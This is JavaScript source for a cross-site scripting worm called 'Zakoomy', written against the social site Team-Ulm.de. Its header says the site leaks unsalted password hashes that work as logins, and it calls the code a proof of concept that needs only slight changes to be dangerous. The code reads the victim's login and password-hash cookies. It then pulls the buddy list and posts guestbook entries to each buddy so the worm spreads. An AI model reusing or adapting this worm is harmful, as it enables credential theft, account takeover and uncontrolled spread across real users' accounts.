// Name: Zakoomy
// Author: Marcell 'SkyOut' Dietl
// Date: October 2008
// Website: http://marcell-dietl.de/
//
// Description: This code is a so called XSS Worm for the social networking
// site Team-Ulm.de, which conists of about 350 000 users. The
// interesting thing about this site is, that you are able to
// get the MD5 hashed password of the user (not salted!).
// Furthermore you can use this hashvalue to log in as this user,
// no matter if his/her session is active or not!
// It is a proof-of-concept code, that has to be modified slightly
// to be really dangerous...
function readCookie(name)
{
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++)
{
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
var u = readCookie('tu-login[user]');
var p = readCookie('tu-login[pwd]');
if (u != null && p != null) {
document.write('
');
}
function sleep(ms)
{
var zeit = (new Date()).getTime();
var stoppZeit = zeit + ms;
while((new Date()).getTime() < stoppZeit) {};
}
function buildxmlobject()
{
var req = null;
try
{
req = new XMLHttpRequest();
}
catch (ms)
{
try
{
req = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (nonms)
{
try
{
req = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (failed)
{
req = null;
}
}
}
return req;
}
function creategbentry(id)
{
str = "eintrag=&p_userid=" + id;
xmlhttp2 = buildxmlobject();
xmlhttp2.open("POST", "./p_saveguestposting.php", true);
xmlhttp2.onreadystatechange = function()
{
}
xmlhttp2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp2.setRequestHeader('Content-Length', str.length);
xmlhttp2.send(str);
}
xmlhttp1 = buildxmlobject();
xmlhttp1.open("GET", "./msg_buddy_admin.php", true);
xmlhttp1.onreadystatechange = function()
{
if (xmlhttp1.readyState == 4 && xmlhttp1.status == 200)
{
msg_buddy_admin_source_code = xmlhttp1.responseText;
var x = msg_buddy_admin_source_code.split("\n");
for(var i = 0; i < x.length; i++)
{
if(x[i].indexOf("p_yourprofile.php?id=") != -1)
{
var id = x[i].substr(x[i].indexOf("?id=") + 4, 20);
id = id.substr(0, id.indexOf("\""));
creategbentry(id);
sleep(20500);
}
}
}
}
xmlhttp1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp1.send(null);